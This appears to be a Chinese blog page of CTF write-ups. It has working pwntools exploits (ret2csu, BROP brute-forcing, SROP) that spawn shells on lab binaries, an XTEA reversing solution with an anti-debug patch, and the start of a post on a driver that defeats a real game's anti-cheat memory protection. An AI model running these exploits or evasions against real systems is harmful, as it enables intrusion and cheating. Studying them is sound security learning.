栈溢出进阶

所用题目可在中级ROP - CTF Wiki (ctf-wiki.org)找到;

ret2csu

对于X64(amd64)程序,函数传参为rdi,rsi,rdx,rcx,r8,r9,然后是栈;

而x64程序中有这样一个系统自带函数 __libc_csu_init,这个函数是用来对 libc 进行初始化操作的;

这个函数里面有许多可以利用的gadget,可以控制一些寄存器,可以用一道题来进行演示(level5);

image.png

分析后很简单的一个栈溢出,没了,什么都没有,只有一个我们上面提到的__libc_csu_init可以利用;

image.png

我也不知道为什么ida翻译过来的内容是这样的,而且这段代码还不能直接利用pop rdi ret(拆开pop r15机械码),很奇怪;

思路为:

  • 获取libc基址;
  • 拿system地址;
  • 拿binsh地址;
  • 执行system(binsh);

编写exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#write和read的libc函数地址对应指针(got表)
write_addr = 0x601000
read_addr = 0x601008
main = 0x400564
#__libc_csu_init中的利用
pop_rbx_egg_gadget = 0x400606
dx_si_di_gadget = 0x4005F0

p = process('./level5')

#第一步,获取libc基址
#执行write函数需要三个变量 rdi为1(写到标准输出)rsi为写入内容 rdx为长度 write(1,"ddd",len);
#所以需要先控制这三个寄存器内容为1,和write_addr,以及8!
# 返回到利用 未知偏移 rbx rbp r12 r13-edi r14-rsi r15-rdx ret
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(write_addr) + p64(1) + p64(write_addr) + p64(8) + p64(dx_si_di_gadget)
#这个时候已经把我们想要的寄存器给改了,同时执行call [r12 + rbx*8],执行write后,绕过rbp与rbx的判断,此时应该返回main
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
p.recv()
p.sendline(payload)
#拿到libc基址 第一步完成
write_in_libc = u64(p.recvuntil("Hello, World\n")[:8])
libc.address = write_in_libc - libc.sym['write']

#通过libc拿system和binsh
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

print('binsh:',hex(binsh),' system:',hex(system))

#第二步,执行system
#因为只能控制edi,binsh的完整地址放不进去,可以先写到bss段,因为bss段长度没那么大,可以使用edi
#同时call [r12 + rbx*8] 需要的是函数指针,所以也可以把system地址写过去
bss = 0x0601028
# read(0,bss,16);
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(read_addr) + p64(0) + p64(bss) + p64(16) + p64(dx_si_di_gadget)
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
p.sendline(payload)
p.send(p64(system) + b'/bin/sh\x00')
p.recv()

#此时我们有了函数指针以及小地址的binsh字符串;
#利用call [r12 + rbx*8] 执行system(/bin/sh)
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(bss) + p64(bss+8) + p64(0) + p64(0) + p64(dx_si_di_gadget)
p.sendline(payload)

p.interactive()

在wiki上,作者提到了对ret2csu的改进,思路是尽量不改变使用的寄存器的值且提前改变,进行多次利用,节省ROP空间;

ret2reg

原理

  • 查看溢出函数返回时哪个寄存值指向溢出缓冲区空间;
  • 然后反编译二进制,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址(gadget利用);
  • reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的);

这里解释下JOP和COP的含义:jump oriented programming, call oriented programming;

在ret2csu中,我们最后利用的一次payload实际上就是COP,思路类似;

BROP

全名:blind return oriented programming;

攻击条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击原理

目前,大部分应用都会开启 ASLR、NX、Canary 保护;

基本思路

在 BROP 中,基本的遵循的思路如下

  • 判断栈溢出长度
    • 暴力枚举
  • Stack Reading
    • 获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。
  • Blind ROP
    • 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。
  • Build the exploit
    • 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。

由于程序崩溃会重新启动,且地址一样,cannary一样,所以可以通过溢出崩溃进行爆破;

而寻找gadget需要一些技巧:

  • 寻找 stop gadget:所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态(用于之后测试gadget地址);当找到一段gadget之后,程序继续执行返回到这段连接状态地区时,程序一直连接,证明找到一段可用的gadget;
  • 识别gadget:将可利用的gadget称之为probe等待测试,此外还需要找到stop(stop gadget地址)和trap(导致程序崩溃地址);利用stop和trap的不同摆放栈上的位置可以探测出,probe里面的内容,比如:
    • probe,trap,stop,traps:通过这个样子找到只是弹出一个栈变量的gadget(崩溃了就不是,没崩溃就说明找到了);

相当于在识别gadget时,只需要确定stop之前有几个trap,就能知道pop了几次,同时如果要确认probe本身不是一个stop,则需要二次确认,在probe后方全部添加为trap,如果崩了,说明probe找对了,否则就被误导了;

在ret2csu的__libc_csu_init函数后面的那一串pop称之为brop gadget,因为它的特征很明显,一次性pop 6次,所以在找的时候尽量去找brop gadget,因为其他找到的gadget无法识别它到底pop的是哪个寄存器!通过brop gadget,可以控制rsi,edi;

寻找plt表利用函数:

为什么是找plt而不直接找got呢?因为plt在got内存之前,在很多段之前,从程序基址找起,第一次找到的就是它;

对于plt表,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表(使用了它的函数);除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头;

关于plt表的格式问题公式化套路:最后一次调用函数成功的地址减6为真实plt表地址;

之后就会利用strcmp来控制rdx的值,进而使用打印函数;

判断strcmp的方法也简单:控制前两个参数为可读地址,它才能正确执行,否则崩溃;

之后就是寻找输出函数;

寻找put有一个公式:

其中addr为爆破地址;

如果能打印出elf,就说明找对了输出函数;

1
payload = b'a'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

实现攻击

以一道题为例子: HCTF2016 的出题人失踪了

没有二进制文件,直接用脚本进行测试:

测试溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

def testStack(payload):
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
p.sendline(payload)
return p.recv()

for i in range(1,0x100):
try:
res = testStack(b'a'*i)
print(res)
except EOFError:
print('this is length: ',i,' .')
print(res)
break

当i = 73时,发生EOF报错,同时没有出现cannary报错,说明72之后为返回地址;

寻找stop gadget

此时开始寻找关键判断内容:stop gadget;

因为原程序本身就有一个等待输入的部分,所以可以思考能否返回到再次输入的部分呢?

这个样子就构成了stop gadget,同时也能再一次进行输入利用,相当于返回了一次main;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

overflowlen = 72

#从40W开始,400590,400591,400595,0x400596 linux会崩掉
for i in range(0x400597,0xffffffffffffffff):
try:
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i)
p.sendline(payload)
res = p.recv()
#测试发现程序崩溃后不会打印之后的字符串
if res == b'WelCome my friend,Do you know password?\n':
print('stop gadget: ',hex(i))
exit(0)
p.close()
except Exception:
p.close()

#stop gadget: 0x4005c0

利用如上脚本得到一个stopgadget地址;

识别brop gadget

利用之前的原理寻找连续6pop的的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000

#已经确认744之前无brop gadget 不是recv timeout就是linux崩
for i in range(0x40074a,0xffffffffffffffff):
try:
#都会导致linux崩溃
#if i == 0x400590 or i == 0x400591 or i == 0x400595 or i == 0x400596 or i == 0x4005cc or i == 0x4005cb:
if i == 0x4006f2 or i == 0x400700 or i == 0x400734:
continue
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(stop) + p64(trap)
p.sendline(payload)
res = p.recv(timeout = 2)

if res == b'WelCome my friend,Do you know password?\n':
#判断探针i是否本身就是一个stop
p.close()
try:
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(trap) + p64(trap)
p.sendline(payload)
res = p.recv(timeout = 2)
except Exception:
print('brop gadget: ',hex(i))
exit(0)
p.close()
continue
p.close()
except Exception:
p.close()

#brop gadget: 0x4007ba

可以找到brop gadget的地址;

同时这道题的csu pop是正常的,不是mov再给rsp减38h,是连着pop的,所以可以用pop rdi之前提及到的这种小技巧;

接下来就是找函数了;

确定put plt地址

image

上图是关于brop gadget的利用,直接通过brop gadget地址 + 9获取 pop rdi ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9

for i in range(0x400000,0xffffffffffffffff):
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
#公式
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(0x400000) + p64(i) + p64(stop)
p.sendline(payload)
try:
res = p.recv()
if res.startswith(b'\x7fELF'):
print('put_addr: ',hex(i))
break
p.close()
except Exception:
p.close()

#put_addr: 0x400555

至此获取put导入表中的地址,但这里获取的是调用put之前的一段代码,我们需要找到最后一次调用put成功的段减去6的偏移(plt表的结构问题),才是put在导入表中真正的地址!

在经过一轮测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9

#从第一次执行put开始
for i in range(0x400555,0xffffffffffffffff):
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
#公式
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(0x400000) + p64(i) + p64(stop)
p.sendline(payload)
try:
res = p.recv()
if res.startswith(b'\x7fELF'):
print('put_addr: ',hex(i))
p.close()
except Exception:
p.close()

通过测试可以知道最后一次通过判断是put_addr: 0x400566;

那么put的plt地址为0x400560;

泄露put got地址

用put泄露地址,要注意它是把内存按照字符串进行打印,遇到00会截断;

所以定义一个函数,按一段内存进行泄露;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9
put_plt = 0x400560

def leak(start,end):
data = b''
i = start
while(1):
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(i) + p64(put_plt) + p64(stop)
p.sendline(payload)
try:
res = p.recvuntil(b"\nWelCome",timeout = 2)
res = res[:-8]
data = data + res + b'\x00'
i = i + len(res) + 1
p.close()
except Exception:
p.close()
if i >= end:
break
return data

#从put_plt往后0x100个字节,当然也可以从40W开始
res = leak(put_plt,put_plt+0x100)

with open('codess','wb') as f:
f.write(res)

之后用ida打开codess重定位到400560:

image.png

能够拿到put的got表地址在0x601018;

之后就是getshell了;

最终的EXP

思路为获取libc基址,调用system,结束;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9
put_plt = 0x400560
put_got = 0x601018

#泄露基址
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(stop)

p.sendline(payload)
res = p.recvuntil(b'\nWelCome')
put_addr_in_libc = u64(res[:-8].ljust(8,b'\x00'))
libc.address = put_addr_in_libc - libc.sym['puts']

#获取binsh和system
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

#执行system
p.recv()
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(stop)
p.sendline(payload)
p.interactive()

总结一下,这道题实际上没有开cannary,没有开pie,如果开了,需要先爆破cannary,之后寻找程序基址;

如果开了PIE,就比较棘手了,首先确定put调用的方法需要换了,除非有找到程序基址的方法;

CTF WIKI上没有明确提出如果有PIE如何解决的问题;

其实可以通过获取的stop gadget地址(回到输入的地址)来推测是否开启PIE,大概确定一个基址的范围(用于设置起点快速遍历);

确定put的方法可以直接把40W打印出ELF改为打印BROP gadget处的特征码就行了,可以不用确定基址;

之后还是照常做就行;

Stack Smash

原理

当发生栈溢出时, libc会调用一个函数: __fortify_fail 传参为 stack smashing detected 字符串;

同时这个函数会打印文件名(环境变量),这个文件名存在main函数栈的下方,所以栈溢出可以覆盖到;

适用版本为 glibc < 2.27;

补充:环境变量时存放在栈上的,同时libc里有一个符号叫 environ,它存放了环境变量地址,通过libc基址可拿到 environ地址,通过environ地址可拿到环境变量地址,也就是栈上的地址;

利用

可以读取内存中的字符串信息,将其覆盖到对应栈位置;

所以如果有题目在内存中读取了flag,可以思考利用这个;

SROP

sigreturn oriented programming(面向sigreturn的编写),sigreturn 是一个系统调用,它在unix系统发生signal时会被间接调用,信号机制(中断);

原理

内核向进程发起一个signal,该进程被挂起(阻塞态),CPU进入内核态;

内核为其保存上下文,跳转相应的signal handler(一个函数,处理的时候继承挂起进程的内存空间,用户态,由进程本身定义编写)进行处理;

处理程序执行完毕,切入进程,恢复其上下文,继续执行;

Linux下,内核会帮用户进程将其上下文保存在它的栈上,然后在栈顶给到地址:rt_sigreturn,这个函数中会执行sigreturn系统调用;当signal handler执行完后,会返回去执行sigreturn;

出现的问题:

  • sigreturn也是用户态执行;
  • 上下文恢复不会检测,直接用,覆盖了的话,寄存器信息就变了;

利用

跳过前两步(内核给到signal,保存上下文),手动编写SROP链(自己写的上下文信息以及rt_sigreturn地址),手动的return到sigreturn,自动的帮我们恢复我们定义的上下文,从而控制程序流;

rt_sigreturn在i386下,存放于vdso,而在x64下,int 15就可以直接系统调用它;

主要利用x64下的,其SROP构造如下:

image.png

在pwntools里给出了关于SROP的利用:

1
2
3
4
5
6
7
8
9
#记得架构给到
context.arch = 'amd64'
#注意覆盖空间要够大,这个frame有0x100的大小
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rip = syscall
frame.rsi = 0 #函数return覆盖 int 15
payload = b'a'*0x10 + p64(mov_rax_15_ret) + p64(syscall) + bytes(frame)

当禁用59 execve时,通过orw(open read write)获取flag;

阅读全文
2024-强网拟态-easyre

题目附件:https://pan.baidu.com/s/1qEbEZ_xdS33hOiExvLR7ng?pwd=3457

一个exe程序,直接拖到ida里,发现没有main,很混乱,直接猜测上了自解密 + 混淆花指令;

根本看不到伪代码,硬啃汇编罢;

image.png

不打算修,太多了,直接调,函数列表搜索scan,可以拿到库函数:

?scan_optional_field_width@?$format_string_parser@D@__crt_stdio_input@@AEAA_NXZ

在这个函数里打上断点,可以在输入内容的时候断下,然后一层一层的往上层函数断点测试:

可以找到最终的scanf调用实际上使用了下面这个函数:

??$?RV_lambda_a81aa23bb2c9577c1e55b9d0b57d9de4_@@AEAV_lambda_9a20e10065b92b5193c3597a66cba9d4_@@V_lambda_cb3a421ff86d8a5f008440ee6b28fa9c_@@@?$__crt_seh_guarded_call@H@@QEAAH$$QEAV_lambda_a81aa23bb2c9577c1e55b9d0b57d9de4_@@AEAV_lambda_9a20e10065b92b5193c3597a66cba9d4_@@$$QEAV_lambda_cb3a421ff86d8a5f008440ee6b28fa9c_@@@Z_1

也是一个库函数,接着这个函数往下走,可以走到一个神奇的地方,我称之为中转站,也是找到虚拟机的特征,操作码一类的东西:

image.png

这个rax实际上就是一个操作码,每次都有不同的功能,在前几次调试测试会发现,第一次调用call之后,就会打印wrong flag;

而当rip在这个地方的时候往栈上看,能发现我们输入的内容:

image.png

对着我们输入的地址按x查看引用能找到一个地方,调过去能发现这是第一次call会执行的,再次调试能够知道实际上是在调用strlen函数,它将strlen给到rax,然后call rax,过了中转站之后第二次call就会打印wrong flag:

image.png

对着strlen再继续跟下去会得知flag长度是56;

如果长度是正确的,第一次call完之后,剩下的call就开始循环了,貌似在操作输入的字符串;

通过每三次call,可以发现它是一个动作,每三次rdx都会加2,当加到70h之后变成新的循环;

实际上也就是以56为一个循环,一共要循环两次,但是调试的时候发现第一次循环没有对输入的内容做修改,而第二次循环会对输入的内容替换为用7F去减去它本身的值(通过观察栈上的值);

这56长度的循环结束之后,会有一个短循环,一共call 26次,第25次就会输出wrong flag,第26次进入结束程序;

通过调试可以发现,这26次里面,在对输入的内容进行分组加密,每8字节为一组,应该是电码本模式,因为56个a加密的东西分组的很明显:

image.png

对8个字节的分组加密部分也是3次call为一个动作,一共执行21次,把7个分组都加密完,剩下的4次call很可能就是用来进行判断的;

跟踪剩下的call可以发现很难看,很多都是没用的跳转,所以结合着打上内存断点,可以找到如下内容:

WTJ4QTO33P_YL308F_A~_CJ.png

image.png

它会依次获取加密后的输入数据,以及比较数据?这个比较数据每次都在变化,然后进行比较,通过调试改值,可以一路改下去,然后就能够使得程序输出right flag的字符串,打到这个时候其实已经就很有信心能出了;

为什么直接引用outandin地方的地址不能直接x获取到这些被引用的地方呢?

是因为这个混淆做了一个表,它每次要获取地址的时候,都是用代码段上的立即数去加或者减这个表里的无意义的数据,得到一个可用的地址,这样就防止了地址引用的查询,但是还是逃不过内存断点;

使用如下ida的python脚本进行更改比对值且输出比较内容:

1
2
3
ea=get_reg_value("r8")
print(hex(ea))
set_reg_value(ea, "rdx")

对打印的内容进行整理拿到如下比较hex:

1
BE 44 7B 02 BA 95 4B 8C E3 A8 F1 90 FB CD A4 3C 2F EE 9E 68 79 AA 6D ED 85 B0 77 2F 27 3F 41 FF 1F C1 CF 43 AA 00 AC FA 71 43 57 09 51 BA F7 B2 67 96 52 47 A0 50 40 C7

现在要做的就是查看分组加密算法了,回到当时加密的部分,一步一步的跟踪看过去,发现程序会去操作两个寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
算法逻辑:

ecx 给到12345678h 异或 ffffffff 与上 4C4CDB01 -> 4C488901 xor ffffffff -> B3B776FE

eax 给到12345678h 加上 B3B324FE 异或 ffffffff -> EDCFFB87

ecx = ecx & eax = A1877286 = B3B776FE & EDCFFB87

eax = ecx = ecx xor 0xffffffff = 5E788D79

eax xor 0xffffffff = A1877286

ecx = ecx & 4CD6DA30 xor 0xffffffff = B3AF77CF -> 12AE5749 -> EDD9AEF6

eax = eax & 0B32925CF xor 0xffffffff = 5EFEDF79 xor ffff -> ED51A8B6 -> 8C1128B0 -> 61C88646 ->9E3779B9

那最终经过一段又臭又长的小丑代码膨胀之后,你会拿到eax会变成 0x9e3779b9;

包是tea里面的delta,弟弟;

通过进一步调试我能拿到如下栈帧内容:

image

能够拿到key和轮次,那么直接把三个tea都拿来试,试完可以发现是xtea(不是tea和xxtea);

写逆运算,直接拿到不可见字符,太棒了,我逐渐理解一切;

思考是否是因为有反调试在搞我,于是尝试用ida附加进程,发现附加不上,很大可能;

拿CE进行附加调试,可以发现最终的比较数据发生了变化,同时我们输入计算的结果也发生了变化(千万别用其他算法搞我):

image

第一个思路是找idata段(iat表)用到了反调试的哪些函数,可以找到疑似的如下:

1
2
.idata:00007FF704979060 20 7F B1 DD F8 7F 00 00       IsDebuggerPresent 
.idata:00007FF704979038 00 11 B1 DD F8 7F 00 00 GetSystemTimeAsFileTime

对其进行x引用反查并下断点,能够发现不是他们的原因(不会断下来);

接着对ida里进行search,搜索字节块,直接搜索hex 60 (对于静态反调试而言,PEB结构很重要,32位是fs:30 64位是gs:60)

然后在搜索的结果里ctrl+f筛选gs,果然给找到了:

image.png

之后在这里给下个断点,ida调试一启动程序就到这里来,先把eax改成0,然后把上面一条句子改成xor eax,eax nop nop;

就可以不用管这个地方了;

之后还是一样的调试,能够发现第一轮56长度循环的时候对输入做改动了,对输入的每个字节进行加40h,第二轮循环还是老样子,分组tea也是老样子(还好没变,变了我要把出题人给草草了),然后比较的数据也变了,内容就是ce里面的,说明ce附加调试是正确的数据,用之前的方法再提一遍数据:

1
a1 e3 51 98 86 56 76 49 6f 6b 2b 81 cf ce 12 96 a2 70 35 3c 31 62 5c f1 fa 77 6b aa 9e 6d 05 be e8 24 a4 f8 db 23 3a 0b 16 20 cc 03 ad b5 2b a9 34 9f 78 1d 2e b9 f9 9e

这次数据就是正确的了;

反思:拿到怪玩意儿先找反调试,不然后期恶心死我;

之后写脚本进行flag获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include<iostream>
using namespace std;

typedef unsigned int DWORD;

void teaE(DWORD* EntryData, DWORD* Key)
{
//分别加密数组中的前四个字节与后4个字节,4个字节为一组每次加密两组
DWORD x = EntryData[0];
DWORD y = EntryData[1];

DWORD sum = 0;
DWORD delta = 0x9E3779B9;
//总共加密32轮
for (int i = 0; i < 0x66; i++)
{
sum += delta;
x += ((y << 4) + Key[0]) ^ (y + sum) ^ ((y >> 5) + Key[1]);
y += ((x << 4) + Key[2]) ^ (x + sum) ^ ((x >> 5) + Key[3]);
if(i==0)
printf("%d轮:v0: %x v1: %x\n", i, x, y);
}
//最后加密的结果重新写入到数组中
EntryData[0] = x;
EntryData[1] = y;
}

void xteaE(DWORD v[2], DWORD const key[4]) {
unsigned int i;
DWORD v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
for (i = 0; i < 0x66; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
//if (i == 0)
//printf("%d轮:v0: %x v1: %x\n", i, v0, v1);
}
v[0] = v0; v[1] = v1;
}

#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void xxtea(DWORD* v, int n, DWORD const key[4])
{
DWORD y, z, sum;
unsigned p, rounds, e;

rounds = 0x66;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
if (rounds == 0x66)
printf("%d轮:v0: %x v1: %x\n", rounds, y, z);
} while (--rounds);

}

//上面这三个都是在尝试
//比较数据
//unsigned int ans[14] = { 假的,出生
// 0x027B44BE, 0x8C4B95BA, 0x90F1A8E3, 0x3CA4CDFB, 0x689EEE2F, 0xED6DAA79, 0x2F77B085, 0xFF413F27,
// 0x43CFC11F, 0xFAAC00AA, 0x09574371, 0xB2F7BA51, 0x47529667, 0xC74050A0
//};

unsigned int ans[14] = {
0x9851E3A1, 0x49765686, 0x812B6B6F, 0x9612CECF, 0x3C3570A2, 0xF15C6231, 0xAA6B77FA, 0xBE056D9E,
0xF8A424E8, 0x0B3A23DB, 0x03CC2016, 0xA92BB5AD, 0x1D789F34, 0x9EF9B92E
};

//unsigned char ans[] = "\xde\xde\xde\xde\xde\xde\xde\xde";
//DWORD res[] = { 0x027B44BE ,0x8C4B95BA };
//DWORD k[4] = { 2,2,3,4 };

DWORD k[4] = { 0xEF6FD9DB, 0xD2C273D3, 0x6F97E412, 0x72BFD624 };

void xteaD(DWORD v[2], DWORD const key[4]) {
unsigned int i;
DWORD v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * 0x66;
for (i = 0; i < 0x66; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0; v[1] = v1;
}

int main()
{
// printf("%x %x\n", ((DWORD*)ans)[0], ((DWORD*)ans)[1]);
//xteaE((DWORD*)ans,k);
//xxtea((DWORD*)datas,2, k);

//printf("%x %x\n", ((DWORD*)ans)[0], ((DWORD*)ans)[1]);
for (int i = 0; i < 14; i += 2)
{
xteaD((DWORD*)&(((DWORD*)ans)[i]), k);
}
unsigned char* str = (unsigned char*)ans;
for (int i = 0; i < 56; i++)
{
printf("%02x ", str[i]);
}
printf("\n\n\n");
for (int i = 0; i < 56; i++)
{
printf("%c", (unsigned char)((0x7f - str[i])- 0x40));
}
//printf("%x", ans[2]);
//DWORD sum = 0;
//for (int i = 0; i < 0x66; i++)
//{
// sum += DELTA;
//}
//printf("%x", sum);

return 0;
}

最后拿到flag:flag{u_ar3_re@11y_g00d_@t_011vm_de0bf_and_anti_debugger}

草草了,ollvm,还是第一次见混淆之后的程序,太抽象了,有一种vmp的美,给我搞了一天,难绷;

根据flag可以知道有一个deobf的工具应该可以有效去除ollvm的混淆,之后可以研究来看看;

阅读全文
驱动obcallback反附加的一次尝试

前言

起因是因为某手游用CE附加会发现无法附加上,那包括很多目前流行的游戏,steam也好,wegame也好基本上都是这个样子的;

在没有驱动编程知识的条件下盲人摸黑阶段,只有用r3的思路去揣测,是否是对进程,服务,等等内容进行遍历找CE的关键字段被检测到了,又或者调了一个Windows回调不停的遍历text段和关键部分看是否被篡改等等思考,当然用ida传统CTF逆向的方法去做很难,代码量太大,把文件扔进去ida自动扫描就要扫半天;

根据这些r3的思考也做过几次尝试,比如用魔改版的CE,比如写dll注入读数据,都没有结果,而且也不知道原因啊,卡了一段时间;

之后在b站刷视频,说是这个手游有一个驱动保护,权限高于用户层,那么去网上找了个system权限的ce工具,发现可以读写内存了,但是会被检测出来,游戏中途直接G掉,这个检测一时半会儿也找不出来,同时不能直接扣走这个驱动,它和游戏是一体的,扣走无法正常游戏;

后来看了一篇博客:https://blog.csdn.net/u011442768/article/details/109207144

里面分析了三种可能,同时这个文章用到了ark工具,我也下了个pc hunter来用,然后?然后整件事情就有了进展;

PcHunter分析

就一个一个的找过去,能发现这几个地方:

image.png

有一说一pchunter真好用吧,这个比拿着ida在那瞎jb逆好多了;

所有回调都是这个保护驱动进行的,那思路首先应该是逆一下这个驱动,找关键的回调函数,我其实都想照着上面说的博客文章进行一步一步的试了,dump驱动的镜像内存,直接跳偏移去看这些函数,但是我发现了一个问题如下:

image.png

可能是我不太会dump吧,搞出来的镜像貌似是静态的,关键代码段都被内嵌的upx加密了,线索被断掉了(菜);

花时间的话应该也能搞定dump这块,但之后的内容让我省了这一部分技术性的操作;

去必应搜索obcallback可以得到很多有用的东西,比如obcallback实际上会去操作OB_PRE_OPERATION_INFORMATION这个结构体,这个结构体是每个进程单独有的,里面有一个叫做 DesiredAccess 的字段,是影响进程读写内存等等权限的;

那之前是用SYSTEM级别权限的CE可以直接进行读写,是否可以猜测保护驱动展开的obcallback在一直给每个新开的进程读写内存降权,因为它的obcallback是在进程线程创建时会去调用;

根据这个猜测进行尝试,如果我在它的回调调用之后进行提权操作,那么就可以恢复读写权限;

用魔法打败魔法,它是驱动执行的ob回调,那么我们也写一个驱动来执行我的ob回调;

编写驱动尝试

去b站搜怎么写驱动啊,怎么让驱动调用obcallback,那也是给找着了;

首先还是用VS2022进行,但是需要安装SDK和WDK,同时这两个需要同样的版本号;

同时WDK需要和windows版本对应,为了使用支持VS2022版本的WDK还特别升级了Windows11 22H2进行和WDK进行匹配;

然后神奇的发现了电脑开机速度还变快了( 别用垃圾win11 21h2

之后环境配好之后开始写驱动,实现的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
//包含驱动开发中基本的数据结构,数据类型
//类似于iostream
#include <ntifs.h>
#include <ntddk.h>

//数据结构 LDR
typedef struct _LDR_DATA {
struct _LIST_ENTRY InLoadOrderLinks;
struct _LIST_ENTRY InMemoryOrderLinks;
